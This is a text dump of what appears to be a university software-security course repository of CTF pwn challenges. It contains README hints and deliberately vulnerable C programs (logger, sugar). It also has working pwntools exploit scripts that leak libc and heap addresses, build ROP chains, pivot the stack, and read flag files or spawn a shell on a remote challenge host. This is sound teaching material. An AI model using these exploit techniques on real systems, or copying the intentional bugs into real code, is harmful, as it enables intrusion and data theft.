master 7d966c1fcff2 cached
367 files
237.8 KB
94.6k tokens
347 symbols
1 requests
Download .txt
Showing preview only (316K chars total). Download the full file or copy to clipboard to get everything.
Repository: u1f383/Software-Security-2021
Branch: master
Commit: 7d966c1fcff2
Files: 367
Total size: 237.8 KB

Directory structure:
gitextract_ilxhtbq2/

├── .gitignore
├── 2021/
│   ├── README.md
│   ├── eof-final/
│   │   ├── exp/
│   │   │   ├── logger.py
│   │   │   ├── sugar.py
│   │   │   └── two-gadget.py
│   │   ├── logger/
│   │   │   ├── Dockerfile
│   │   │   ├── docker-compose.yml
│   │   │   ├── share/
│   │   │   │   ├── Makefile
│   │   │   │   ├── flag
│   │   │   │   ├── logger
│   │   │   │   ├── logger.c
│   │   │   │   └── run.sh
│   │   │   └── xinetd
│   │   ├── sugar/
│   │   │   ├── Dockerfile
│   │   │   ├── docker-compose.yml
│   │   │   ├── share/
│   │   │   │   ├── Makefile
│   │   │   │   ├── flag
│   │   │   │   ├── run.sh
│   │   │   │   ├── sugar
│   │   │   │   └── sugar.c
│   │   │   └── xinetd
│   │   └── two-gadget/
│   │       ├── Dockerfile
│   │       ├── docker-compose.yml
│   │       ├── share/
│   │       │   ├── Makefile
│   │       │   ├── flag
│   │       │   ├── run.sh
│   │       │   ├── two-gadget
│   │       │   └── two-gadget.c
│   │       └── xinetd
│   ├── eof-qual/
│   │   ├── fullchain-buff/
│   │   │   └── README.md
│   │   ├── hello-world/
│   │   │   └── README.md
│   │   └── myfs/
│   │       └── README.md
│   ├── quals/
│   │   ├── exp/
│   │   │   ├── fullchain-buff.py
│   │   │   ├── hello-world.py
│   │   │   ├── myfs-fuzz.py
│   │   │   └── myfs.py
│   │   ├── fullchain-buff/
│   │   │   ├── Dockerfile
│   │   │   ├── docker-compose.yml
│   │   │   ├── share/
│   │   │   │   ├── Makefile
│   │   │   │   ├── flag
│   │   │   │   ├── fullchain-buff
│   │   │   │   ├── fullchain-buff.c
│   │   │   │   └── run.sh
│   │   │   └── xinetd
│   │   └── myfs/
│   │       ├── Dockerfile
│   │       ├── build.sh
│   │       ├── pow.py
│   │       ├── run.sh
│   │       ├── setup.sh
│   │       ├── share/
│   │       │   ├── Makefile
│   │       │   ├── flag1.txt
│   │       │   ├── flag2.txt
│   │       │   ├── flag3.txt
│   │       │   ├── fs.c
│   │       │   ├── fs.h
│   │       │   ├── gc.c
│   │       │   ├── gc.h
│   │       │   ├── list.h
│   │       │   ├── main.c
│   │       │   ├── mycrypto.c
│   │       │   ├── mycrypto.h
│   │       │   ├── myfs
│   │       │   ├── run.sh
│   │       │   ├── user.c
│   │       │   └── user.h
│   │       └── xinetd
│   ├── week1/
│   │   ├── demo/
│   │   │   ├── Makefile
│   │   │   ├── demo_BOF1
│   │   │   ├── demo_BOF1.c
│   │   │   ├── demo_BOF1.py
│   │   │   ├── demo_BOF2_leak_canary
│   │   │   ├── demo_BOF2_leak_canary.c
│   │   │   ├── demo_BOF2_leak_canary.py
│   │   │   ├── demo_GOT
│   │   │   ├── demo_GOT.c
│   │   │   ├── demo_GOT.sh
│   │   │   ├── demo_ROP
│   │   │   ├── demo_ROP.c
│   │   │   ├── demo_ROP.py
│   │   │   ├── demo_canary
│   │   │   ├── demo_canary.c
│   │   │   ├── demo_canary.sh
│   │   │   ├── demo_fmt
│   │   │   ├── demo_fmt.c
│   │   │   ├── demo_fmt.py
│   │   │   ├── demo_one_gadget_with_ROP
│   │   │   ├── demo_one_gadget_with_ROP.c
│   │   │   ├── demo_one_gadget_with_ROP.py
│   │   │   ├── demo_shellcode
│   │   │   ├── demo_shellcode.c
│   │   │   ├── demo_shellcode.py
│   │   │   ├── demo_stack_pivoting
│   │   │   ├── demo_stack_pivoting.c
│   │   │   └── demo_stack_pivoting.py
│   │   ├── hw/
│   │   │   ├── exp/
│   │   │   │   ├── fullchain-nerf.py
│   │   │   │   ├── fullchain.py
│   │   │   │   └── sandbox.py
│   │   │   ├── fullchain/
│   │   │   │   ├── Dockerfile
│   │   │   │   ├── docker-compose.yml
│   │   │   │   ├── share/
│   │   │   │   │   ├── Makefile
│   │   │   │   │   ├── flag
│   │   │   │   │   ├── fullchain
│   │   │   │   │   ├── fullchain.c
│   │   │   │   │   └── run.sh
│   │   │   │   └── xinetd
│   │   │   ├── fullchain-nerf/
│   │   │   │   ├── Dockerfile
│   │   │   │   ├── docker-compose.yml
│   │   │   │   ├── share/
│   │   │   │   │   ├── Makefile
│   │   │   │   │   ├── flag
│   │   │   │   │   ├── fullchain-nerf
│   │   │   │   │   ├── fullchain-nerf.c
│   │   │   │   │   └── run.sh
│   │   │   │   └── xinetd
│   │   │   └── sandbox/
│   │   │       ├── Dockerfile
│   │   │       ├── docker-compose.yml
│   │   │       ├── share/
│   │   │       │   ├── Makefile
│   │   │       │   ├── flag
│   │   │       │   ├── run.sh
│   │   │       │   ├── sandbox
│   │   │       │   └── sandbox.c
│   │   │       └── xinetd
│   │   └── lab/
│   │       ├── Got2win/
│   │       │   ├── Dockerfile
│   │       │   ├── docker-compose.yml
│   │       │   ├── share/
│   │       │   │   ├── Makefile
│   │       │   │   ├── flag
│   │       │   │   ├── got2win
│   │       │   │   ├── got2win.c
│   │       │   │   └── run.sh
│   │       │   └── xinetd
│   │       ├── Rop2win/
│   │       │   ├── Dockerfile
│   │       │   ├── docker-compose.yml
│   │       │   ├── share/
│   │       │   │   ├── Makefile
│   │       │   │   ├── flag
│   │       │   │   ├── rop2win
│   │       │   │   ├── rop2win.c
│   │       │   │   └── run.sh
│   │       │   └── xinetd
│   │       └── exp/
│   │           ├── Got2win.py
│   │           └── Rop2win.py
│   ├── week2/
│   │   ├── demo/
│   │   │   ├── Makefile
│   │   │   ├── demo_UAF
│   │   │   ├── demo_UAF.c
│   │   │   ├── demo_UAF.sh
│   │   │   ├── demo_double_free
│   │   │   ├── demo_double_free.c
│   │   │   ├── demo_double_free.sh
│   │   │   ├── demo_fastbin
│   │   │   ├── demo_fastbin.c
│   │   │   ├── demo_fastbin.sh
│   │   │   ├── demo_heap_overflow
│   │   │   ├── demo_heap_overflow.c
│   │   │   ├── demo_heap_overflow.sh
│   │   │   ├── demo_largebin
│   │   │   ├── demo_largebin.c
│   │   │   ├── demo_largebin.sh
│   │   │   ├── demo_malloc_state
│   │   │   ├── demo_malloc_state.c
│   │   │   ├── demo_malloc_state.sh
│   │   │   ├── demo_overlapping_chunks
│   │   │   ├── demo_overlapping_chunks.c
│   │   │   ├── demo_overlapping_chunks.sh
│   │   │   ├── demo_smallbin
│   │   │   ├── demo_smallbin.c
│   │   │   ├── demo_smallbin.sh
│   │   │   ├── demo_tcache
│   │   │   ├── demo_tcache.c
│   │   │   ├── demo_tcache.sh
│   │   │   ├── demo_tcache_poisoning
│   │   │   ├── demo_tcache_poisoning.c
│   │   │   ├── demo_tcache_poisoning.sh
│   │   │   ├── demo_unsortedbin
│   │   │   ├── demo_unsortedbin.c
│   │   │   └── demo_unsortedbin.sh
│   │   ├── hw/
│   │   │   ├── beeftalk/
│   │   │   │   ├── Dockerfile
│   │   │   │   ├── docker-compose.yml
│   │   │   │   ├── share/
│   │   │   │   │   ├── Makefile
│   │   │   │   │   ├── beeftalk
│   │   │   │   │   ├── beeftalk.c
│   │   │   │   │   ├── beeftalk.h
│   │   │   │   │   ├── flag
│   │   │   │   │   └── run.sh
│   │   │   │   └── xinetd
│   │   │   ├── easyheap/
│   │   │   │   ├── Dockerfile
│   │   │   │   ├── docker-compose.yml
│   │   │   │   ├── share/
│   │   │   │   │   ├── Makefile
│   │   │   │   │   ├── easyheap
│   │   │   │   │   ├── easyheap.c
│   │   │   │   │   ├── flag
│   │   │   │   │   └── run.sh
│   │   │   │   └── xinetd
│   │   │   ├── exp/
│   │   │   │   ├── beeftalk.py
│   │   │   │   ├── easyheap.py
│   │   │   │   └── final.py
│   │   │   └── final/
│   │   │       ├── Dockerfile
│   │   │       ├── docker-compose.yml
│   │   │       ├── share/
│   │   │       │   ├── Makefile
│   │   │       │   ├── final
│   │   │       │   ├── final.c
│   │   │       │   ├── final.py
│   │   │       │   ├── flag
│   │   │       │   └── run.sh
│   │   │       └── xinetd
│   │   ├── lab/
│   │   │   ├── exp/
│   │   │   │   └── market.py
│   │   │   ├── heapmath/
│   │   │   │   ├── Dockerfile
│   │   │   │   ├── docker-compose.yml
│   │   │   │   ├── share/
│   │   │   │   │   ├── Makefile
│   │   │   │   │   ├── flag
│   │   │   │   │   ├── heapmath
│   │   │   │   │   ├── heapmath.c
│   │   │   │   │   └── run.sh
│   │   │   │   └── xinetd
│   │   │   └── market/
│   │   │       ├── Dockerfile
│   │   │       ├── docker-compose.yml
│   │   │       ├── share/
│   │   │       │   ├── Makefile
│   │   │       │   ├── flag
│   │   │       │   ├── market
│   │   │       │   ├── market.c
│   │   │       │   └── run.sh
│   │   │       └── xinetd
│   │   └── src_review/
│   │       ├── free_internal.c
│   │       └── malloc_internal.c
│   └── week3/
│       ├── hw-exp/
│       │   └── FILE_note.py
│       └── lab-exp/
│           └── OvO8.js
├── 2022/
│   ├── README.md
│   ├── quals/
│   │   ├── exp/
│   │   │   ├── how2know_revenge_exp.py
│   │   │   ├── pbof_exp.py
│   │   │   ├── real_rop++_exp.py
│   │   │   └── superums_exp.py
│   │   ├── how2know_revenge/
│   │   │   ├── Dockerfile
│   │   │   ├── docker-compose.yml
│   │   │   ├── share/
│   │   │   │   ├── Makefile
│   │   │   │   ├── chal
│   │   │   │   ├── flag
│   │   │   │   ├── how2know_revenge.c
│   │   │   │   └── run.sh
│   │   │   └── xinetd
│   │   ├── pbof/
│   │   │   ├── Dockerfile
│   │   │   ├── docker-compose.yml
│   │   │   ├── share/
│   │   │   │   ├── chal
│   │   │   │   ├── exp.py
│   │   │   │   ├── flag
│   │   │   │   └── run.sh
│   │   │   └── xinetd
│   │   ├── real_rop/
│   │   │   ├── Dockerfile
│   │   │   ├── docker-compose.yml
│   │   │   ├── share/
│   │   │   │   ├── Makefile
│   │   │   │   ├── chal
│   │   │   │   ├── flag
│   │   │   │   ├── real_rop++.c
│   │   │   │   └── run.sh
│   │   │   └── xinetd
│   │   └── superums/
│   │       ├── Dockerfile
│   │       ├── docker-compose.yml
│   │       ├── share/
│   │       │   ├── Makefile
│   │       │   ├── chal
│   │       │   ├── flag
│   │       │   ├── run.sh
│   │       │   └── superums.c
│   │       └── xinetd
│   ├── week1/
│   │   └── hw/
│   │       ├── how2know/
│   │       │   ├── Dockerfile
│   │       │   ├── docker-compose.yml
│   │       │   ├── share/
│   │       │   │   ├── Makefile
│   │       │   │   ├── chal
│   │       │   │   ├── flag
│   │       │   │   ├── how2know.c
│   │       │   │   └── run.sh
│   │       │   └── xinetd
│   │       └── rop++/
│   │           ├── Dockerfile
│   │           ├── docker-compose.yml
│   │           ├── share/
│   │           │   ├── Makefile
│   │           │   ├── chal
│   │           │   ├── flag
│   │           │   ├── rop++.c
│   │           │   └── run.sh
│   │           └── xinetd
│   ├── week2/
│   │   ├── exp/
│   │   │   └── exp.py
│   │   ├── hw/
│   │   │   ├── babyums/
│   │   │   │   ├── Dockerfile
│   │   │   │   ├── docker-compose.yml
│   │   │   │   ├── share/
│   │   │   │   │   ├── Makefile
│   │   │   │   │   ├── babyums.c
│   │   │   │   │   ├── chal
│   │   │   │   │   ├── flag
│   │   │   │   │   └── run.sh
│   │   │   │   └── xinetd
│   │   │   └── exp/
│   │   │       └── babyums.py
│   │   └── lab/
│   │       └── babynote/
│   │           ├── Dockerfile
│   │           ├── docker-compose.yml
│   │           ├── share/
│   │           │   ├── Makefile
│   │           │   ├── babynote.c
│   │           │   ├── chal
│   │           │   ├── flag
│   │           │   └── run.sh
│   │           └── xinetd
│   └── week3/
│       ├── demo/
│       │   ├── Makefile
│       │   ├── fclose_trace.c
│       │   ├── fopen_trace.c
│       │   ├── fread_trace.c
│       │   ├── fwrite_trace.c
│       │   ├── rce.c
│       │   ├── rce.py
│       │   └── script
│       ├── exp/
│       │   ├── lab_aar_exp.py
│       │   ├── lab_aaw_exp.py
│       │   └── miniums.py
│       ├── hw/
│       │   └── miniums/
│       │       ├── Dockerfile
│       │       ├── docker-compose.yml
│       │       ├── share/
│       │       │   ├── Makefile
│       │       │   ├── chal
│       │       │   ├── flag
│       │       │   ├── miniums.c
│       │       │   ├── run.sh
│       │       │   └── test.py
│       │       └── xinetd
│       └── lab/
│           ├── aar/
│           │   ├── Dockerfile
│           │   ├── docker-compose.yml
│           │   ├── share/
│           │   │   ├── Makefile
│           │   │   ├── aar.c
│           │   │   ├── chal
│           │   │   ├── example.c
│           │   │   └── run.sh
│           │   └── xinetd
│           └── aaw/
│               ├── Dockerfile
│               ├── docker-compose.yml
│               ├── share/
│               │   ├── Makefile
│               │   ├── aaw.c
│               │   ├── chal
│               │   ├── example.c
│               │   └── run.sh
│               └── xinetd
├── Dockerfile
├── README.md
├── how2heap/
│   ├── D
│   ├── Makefile
│   ├── README.md
│   ├── bypass_safe_linking
│   ├── bypass_safe_linking.c
│   ├── decrypt_safe_linking
│   ├── decrypt_safe_linking.c
│   ├── fastbin_dup
│   ├── fastbin_dup.c
│   ├── fastbin_reverse_into_tcache
│   ├── fastbin_reverse_into_tcache.c
│   ├── house_of_botcake
│   ├── house_of_botcake.c
│   ├── house_of_einherjar
│   ├── house_of_einherjar.c
│   ├── house_of_lore
│   ├── house_of_lore.c
│   ├── house_of_mind_fastbin
│   ├── house_of_mind_fastbin.c
│   ├── large_bin_attack
│   ├── large_bin_attack.c
│   ├── ld_change.py
│   ├── mmap_overlapping_chunks
│   ├── mmap_overlapping_chunks.c
│   ├── poison_null_byte
│   ├── poison_null_byte.c
│   ├── safe_linking_demo.sh
│   ├── tcache_house_of_spirit
│   ├── tcache_house_of_spirit.c
│   ├── tcache_poisoning
│   ├── tcache_poisoning.c
│   ├── tcache_stashing_unlink_attack
│   ├── tcache_stashing_unlink_attack.c
│   ├── unsafe_unlink
│   └── unsafe_unlink.c
└── snippet

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
.DS_Store
.gdb_history
.vscode
pwnbox

================================================
FILE: 2021/README.md
================================================
## 2021 年

## Week 1: Binary Exploitation I
> linux 相關的基礎知識如 ELF struct 與 calling convention、介紹不同的保護機制與攻擊方法
- 影片: [video](https://youtu.be/ktoVQB99Gj4)
- Lab
  - Got2win
  - Rop2win
- Hw
  - fullchain
    - Hints:
      1. 在一開始 `cnt == 3` 的情況下,我們什麼事情都不能做,因此必須要想辦法將 `cnt` 設為較大的數。而在此我們會需要用 fmt 來得到 cnt 的位址,並且寫值進去
      2. 在做 Step 1 時,可能會遇到一次不能寫入太大的值到 `cnt`,不過我們可以分成兩次做,一次先將次數增加到足夠做一次任意寫入,之後再將 `cnt` 寫成很大的值
      3. 如果我們能 bypass 掉 `exit()`,這樣就能控制 `ptr`,而首先我們必須要知道 `exit@got` 的位址,此時也能利用 fmt 做到 leak,並在 leak 後也透過 fmt 做到改寫 `exit@got`
      4. 之後基本上想做什麼就能做什麼,可以直接堆 ROP chain、或者是透過 `mprotect()` 執行任意 shellcode,但基本上都是透過 fmt 做 leak 與 partial overwrite
      5. 使用 fmt 的關鍵在於用 `%X$p` 來 leak、`%***c%k$hhn` 來做任意寫 (請參考投影片),並且為了避免 timeout,在竄改時不一定要將目標位址整個改掉,可以做 partial overwrite 就好,並且通常寫入速度 `%hhn` > `%hn` >> `%n` (1 bytes / 2 bytes / 4 bytes)
    - PS:
      - `memset()` 在 local 跟 remote 會因為 CPU 支援的指令集的不同,動態解析到不同的 glibc function,所以如果 local 過 remote 不過,可能要重新算一下 offset,或者是從其他 function 的 got 來 leak
  - fullchain-nerf
    - Hints:
      1. 明顯有 stack overflow 可以控制 return address,並且也有 fmt 來 leak code / libc address,我們要考慮的只剩下要怎麼透過不多的 bof 來做到 ORW
      2. bof 能做的 ROP 沒辦法一次做完 ORW,然而卻可以執行 `read()` 並還有些許 gadget 可以執行,因此可以考慮先執行一次 read 的 ROP 來寫更多 gadgets
      3. 如果可以寫在後續的位址,或者是透過 stack pivoting 將 stack 遷移到其他地方,就可以將不足的 ROP chain 補完
  - sandbox
    - Hints:
      1. 雖然限制了一些 instruction,但是還是有其他指令可以控制程式執行流程,而且你要的東西其實程式就已經給你了

## Week 2: Binary Exploitation II
> 介紹 linux heap 中經常看到的結構與記憶體分配機制、講解簡單的 heap exploit 技巧如 tcache poisoning
- 影片: [video](https://youtu.be/A3kwWfex2XM)
- Lab
  - market
  - heapmath
- Hw
  - final (教學題)
  - easyheap
    1. 基本上跟 **final** 的解法三差不多,建議在練習 **final** 可以自己畫出 heap 結構,來幫助自己更熟悉 heap
  - beeftalk
    1. leak heap 位址很簡單,難點應該在於該如何 leak 出 libc,不過這題的設計洞很多,因此有許多不同的打法
    2. 這題是可以不用透過 `chat()` 內的 overflow 與 `unlink()` 的錯誤順序來做 exploit,只需要透過 user 建立與刪除的 bug 即可
    3. 可以想辦法從 freed chunk 留下的 smallbin 來 leak libc
    4. 可以想辦法讓 `name` 或是 `desc` 等可以在 `update()` 更新值的 member,與某個 `User` 結構做重疊,而後透過 UAF 來竄改 pointer 指向的位址
    5. 其他打法也有透過 `chat()` 的 overflow,或者甚至透過控制 `User->fifo` 的值來直接讀 `"/proc/self/maps"` 做 leak,或猜測檔名來直接讀 flag 的內容等等

## Week 3: FILE Exploitation & Browser Exploitation
> 講解 FILE 的結構以及利用技巧,並且對 browser pwn 做一些簡單的介紹
- 講者: Kia
- 影片: [video](https://youtu.be/1a-9iJn-csI)
- Slide1: [FILE Struct](https://docs.google.com/presentation/d/1DrdKADYM0VCUvfyw5GFN0fisOEX9CCt4H1zQgpofjJo/edit#slide=id.p2)
- Slide2: [Browser Pwn](https://docs.google.com/presentation/d/1BY8O5xKpopcf1jEFPMuvRXKYqilcZ7fexcHUFReEA0Y/edit#slide=id.p2)
- Lab
  - OvO8: [Download](https://drive.google.com/file/d/1vIMysdYS97pZ-sqrPqEORXGY5RIJp2VH/view?usp=sharing)
- Hw
  - FILE note: [Download](https://drive.google.com/file/d/1ABVJWtLjda8Z3_ZT4c9OnztIMFkvbq8A/view?usp=sharing)


================================================
FILE: 2021/eof-final/exp/logger.py
================================================
#!/usr/bin/python3

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

# r = process('./logger', aslr=False)
r = remote('chals1.eof.ais3.org', 45125)

def new(idx, _len, msg):
    r.sendlineafter('> ', '1')
    r.sendlineafter('idx: ', str(idx))
    r.sendlineafter('len: ', str(_len))
    if _len != 1:
        r.sendafter('msg: ', msg)

def delete(idx):
    r.sendlineafter('> ', '2')
    r.sendlineafter('idx: ', str(idx))

def show(idx):
    r.sendlineafter('> ', '3')
    r.sendlineafter('idx: ', str(idx))

def edit(idx, msg):
    r.sendlineafter('> ', '4')
    r.sendlineafter('idx: ', str(idx))
    r.sendafter('msg: ', msg)

def get_name(name, namelen):
    r.sendlineafter('len: ', str(namelen))
    r.sendafter('name: ', name)

get_name('', 1)
new(0, 0x48, '\n')
new(1, 0x48, '\n')
new(2, 0x48, '\n')
delete(1)
delete(2)
delete(0)
new(0, 0x88, '\n')
edit(7, '\n')
show(0)
r.recvuntil('msg: ')
heap = u64(r.recv(6).ljust(8, b'\x00')) - 0xfb0
info(f"heap: {hex(heap)}")

edit(0, p64(heap + 0xff0) + b'\n')
new(1, 0xf8, '\n')
new(2, 0xf8, '\n')
new(3, 0xf8, '\n')
fake_chk = p64(0) + p64(0x21) + p64(0)*3 + p64(0x21)
new(4, 0xf8, b'\x00'*0x30 + fake_chk + b'\n')
delete(1)
delete(2)
delete(3)
new(1, 0x48, b'\n')
new(2, 0x48, b'\n')
new(3, 0x48, p64(0) + p64(0x421) + b'\n')
delete(2)
show(0)
r.recvuntil('msg: ')
libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ebbe0
__free_hook = libc + 0x1eeb28
info(f"libc: {hex(libc)}")

new(5, 0xb8, b'\n')
new(6, 0xb8, b'\n')
delete(6)
delete(5)
edit(0, p64(__free_hook) + b'\n')

# ref: https://shorturl.at/ruBHS
# control_rdx_gadget == getkeyserv_handle+576
control_rdx_gadget = libc + 0x154930 # mov rdx,QWORD PTR [rdi+0x8] ; mov QWORD PTR [rsp],rax ; call QWORD PTR [rdx+0x20]
# stack_pivoting_gadget == setcontext+61
stack_pivoting_gadget = libc + 0x580dd
rop_read = libc + 0x111130
rop_write = libc + 0x1111d0
rop_openat = libc + 0x110fe0
rop_exit = libc + 0x49bc0
rop_pop_rdi_ret = libc + 0x26b72
rop_pop_rsi_ret = libc + 0x27529
rop_pop_rdx_ret = libc + 0xd27a5
rop_add_rsp_0x18_ret = libc + 0x3794a
flag_str = __free_hook + 0x10
"""
20 - setcontext_gadget
28 - r8
30 - r9
48 - r12
50 - r13
58 - r14
60 - r15
68 - rdi
70 - rsi
78 - rbp
80 - rbx
88 - rdx
98 - rcx ; second
a0 - rsp
a8 - rcx ; first and will be push to stack
"""
output_fd = 0 # will work at remote env
rop = flat(
    stack_pivoting_gadget, rop_pop_rdi_ret, # 0x20
    3, rop_pop_rsi_ret, # 0x30
    heap, rop_pop_rdx_ret, # 0x40
    0x30, rop_read, # 0x50
    rop_add_rsp_0x18_ret, 0, # 0x60
    flag_str, heap + 0x2000, # 0x70
    rop_pop_rdi_ret, output_fd, # 0x80
    rop_write, rop_exit, # 0x90
    heap + 0x1000 + 0x8, rop_openat, # 0xa0
)
new(5, 0xb8, rop + b'\n') # heap + 0x1000
new(6, 0xb8, p64(control_rdx_gadget) + p64(heap + 0x1000 - 0x20) + b'/home/logger/flag\x00' + b'\n')

delete(6)
r.interactive()

================================================
FILE: 2021/eof-final/exp/sugar.py
================================================
#!/usr/bin/python3

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

# python3 sugar.py SILENT=1
flag = False
cnt = 0
while not flag :
    # r = process('./sugar')
    r = remote('chals1.eof.ais3.org', 45124)
    print(cnt)
    cnt += 1
    r.sendline(str(0x21000))
    r.sendline('+')

    offset = 0x20f5f8 # __elf_set___libc_atexit_element__IO_cleanup__
    value = 0x3fac7e
    for i in range(3):
        data = str(offset+i) + ' ' + str((value >> (8*i)) & 0xff)
        r.sendline(data)

    r.sendline('A')
    try:
        r.sendline('whoami')
        data = r.recv()
        if b'stack' in data or b'glibc' in data or b'free' in data:
            r.close()
            continue
        r.sendline('cat /home/sugar/flag')
        r.sendline('cat /home/sugar/flag')
        r.sendline('cat /home/sugar/flag')
        print(r.recv())
        r.interactive()
        flag = True
    except:
        r.close()

================================================
FILE: 2021/eof-final/exp/two-gadget.py
================================================
#!/usr/bin/python3

from pwn import *
import sys

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

if len(sys.argv) > 1:
    r = remote('chals1.eof.ais3.org', 45126)
else:
    r = process('./two-gadget')

r.recvuntil('Gift: ')
libc = int(r.recvline()[:-1], 16) - 0x87e60
rop_pop_rdi_ret = libc + 0x26b72
rop_pop_rsi_ret = libc + 0x27529
rop_pop_rdx_ret = libc + 0xd27a5
rop_leave_ret = libc + 0x5aa48
rop_add_dh_bptr_rsi_ret = libc + 0x9837c
rop_open = libc + 0x110e50
rop_read = libc + 0x111130
rop_write = libc + 0x1111d0
gets = libc + 0x86af0
# _dl_show_auxv offset is ld.so base + 0x1d020
if len(sys.argv) > 1:
    _dl_show_auxv = libc + 0x218000 + 0x1d020
else:
    _dl_show_auxv = libc + 0x22e000 + 0x1d020

info(f"libc: {hex(libc)}")
r.send(p64(_dl_show_auxv))
r.recvuntil('AT_PHDR:')
code = int(r.recvline()[:-1].strip(), 16) - 0x40
read_gadget = code + 0x1343
info(f"code: {hex(code)}")

r.recvuntil('AT_RANDOM:')
stack = int(r.recvline()[:-1].strip(), 16)
buf = stack - 937
if len(sys.argv) > 1:
    buf += 288
info(f"stack: {hex(stack)}")

r.recvuntil('AT_EXECFN:')
flagpath = r.recvline()[:-1].strip()
info(f"flagpath: {flagpath}")

sleep(0.2)
r.send(p64(stack))
r.recvuntil('x86_64\n')
canary = b'\x00' + r.recv(8)[1:8]

flag_addr = stack - 769
if len(sys.argv) > 1:
    flag_addr += 288
rop1 = b'A'*0x8 + canary + p64(buf - 0x8) + p64(rop_add_dh_bptr_rsi_ret) + p64(read_gadget)
rop2 = b'A'*0x20 + flat(
    rop_pop_rdi_ret, flag_addr,
    rop_pop_rsi_ret, 0,
    rop_pop_rdx_ret, 0,
    rop_open,

    rop_pop_rdi_ret, 3,
    rop_pop_rsi_ret, flag_addr,
    rop_pop_rdx_ret, 0x30,
    rop_read,

    rop_pop_rdi_ret, 1,
    rop_write,
)
rop2 += b'/home/two-gadget-4a4be40c96ac6314e91d93f38043a634/flag\x00'
r.send(rop1)
sleep(0.2)
r.send(rop2)

r.interactive()

================================================
FILE: 2021/eof-final/logger/Dockerfile
================================================
FROM ubuntu:20.04
MAINTAINER u1f383

RUN apt-get update && \
    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd

RUN useradd -m logger
RUN chown -R root:root /home/logger
RUN chmod -R 755 /home/logger

CMD ["/usr/sbin/xinetd", "-dontfork"]

================================================
FILE: 2021/eof-final/logger/docker-compose.yml
================================================
version: '3'

services:
  logger:
    build: ./
    volumes:
      - ./share:/home/logger:ro
      - ./xinetd:/etc/xinetd.d/logger:ro
    ports:
      - "45125:45125"
    expose:
      - "45125"

================================================
FILE: 2021/eof-final/logger/share/Makefile
================================================
all:
	gcc -o logger logger.c -lseccomp

debug:
	gcc -g -o logger logger.c -lseccomp

================================================
FILE: 2021/eof-final/logger/share/flag
================================================
FLAG{TEST}

================================================
FILE: 2021/eof-final/logger/share/logger.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <seccomp.h>

void init_proc()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
    seccomp_load(ctx);
    seccomp_release(ctx);
}

unsigned long getu64()
{
    char buf[0x8];
    fgets(buf, 0x8, stdin);
    return strtoul(buf, NULL, 10);
}

typedef struct _Log
{
    char *msg;
    char *author;
    unsigned long len;
} Log;
Log *logs[7];
char *me;

void new()
{
    printf("idx: ");
    unsigned long idx = getu64();
    if (idx >= 7 || logs[idx]) return;
    logs[idx] = malloc(sizeof(Log));

    printf("len: ");
    logs[idx]->len = getu64();
    logs[idx]->len = logs[idx]->len > 0x100 ? 0x100 : logs[idx]->len;

    printf("msg: ");
    logs[idx]->msg = malloc(logs[idx]->len);
    fgets(logs[idx]->msg, logs[idx]->len, stdin);

    logs[idx]->author = me;
}

void delete()
{
    printf("idx: ");
    unsigned long idx = getu64();
    if (idx >= 7 || !logs[idx]) return;

    free(logs[idx]->msg);
    free(logs[idx]);
    logs[idx] = NULL;
}

void show()
{
    printf("idx: ");
    unsigned long idx = getu64();
    if (idx >= 7 || !logs[idx]) return;
    printf("author: %s\nlen: %lu\nmsg: %s\n", logs[idx]->author, logs[idx]->len, logs[idx]->msg);
}

void edit()
{    
    unsigned long idx;
    printf("idx: ");
    idx = getu64();
    printf("msg: ");
    fgets(logs[idx]->msg, logs[idx]->len, stdin);
}

int main()
{
    init_proc();

    unsigned long len;
    printf("len: ");
    len = getu64();
    len = len > 0x28 ? 0x28 : len;

    printf("name: ");
    me = malloc(len);
    fgets(me, len, stdin);
    
    while (1) {
        printf(
            "1. new\n"
            "2. delete\n"
            "3. show\n"
            "4. edit\n"
            "5. bye\n"
            "> "
        );
        switch (getu64()) {
        case 1: new(); break;
        case 2: delete(); break;
        case 3: show(); break;
        case 4: edit(); break;
        case 5: goto bye;
        default: break; }
    }

bye:
    return 0;
}

================================================
FILE: 2021/eof-final/logger/share/run.sh
================================================
#!/bin/sh

exec 2>/dev/null
timeout 60 /home/logger/logger

================================================
FILE: 2021/eof-final/logger/xinetd
================================================
service logger
{
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    server = /home/logger/run.sh
    user = logger
    port = 45125
    flags = REUSE
    bind = 0.0.0.0
    wait = no
}

================================================
FILE: 2021/eof-final/sugar/Dockerfile
================================================
FROM ubuntu:20.04
MAINTAINER u1f383

RUN apt-get update && \
    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd

RUN useradd -m sugar
RUN chown -R root:root /home/sugar
RUN chmod -R 755 /home/sugar

CMD ["/usr/sbin/xinetd", "-dontfork"]

================================================
FILE: 2021/eof-final/sugar/docker-compose.yml
================================================
version: '3'

services:
  sugar:
    build: ./
    volumes:
      - ./share:/home/sugar:ro
      - ./xinetd:/etc/xinetd.d/sugar:ro
    ports:
      - "45124:45124"
    expose:
      - "45124"

================================================
FILE: 2021/eof-final/sugar/share/Makefile
================================================
all:
	gcc -o sugar sugar.c

debug:
	gcc -g -o sugar sugar.c

================================================
FILE: 2021/eof-final/sugar/share/flag
================================================
FLAG{TEST}

================================================
FILE: 2021/eof-final/sugar/share/run.sh
================================================
#!/bin/sh

exec 2>/dev/null
timeout 10 /home/sugar/sugar

================================================
FILE: 2021/eof-final/sugar/share/sugar.c
================================================
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    int size = 0, idx = 0, val = 0;
    unsigned char *ptr = NULL;
    
    while (scanf("%d", &size) == 1) {
        free(ptr);
        ptr = malloc(size);
    }

    while (scanf("%d %d", &idx, &val) == 2)
        ptr[idx] = val;
    
    free(ptr);
    return 0;
}

================================================
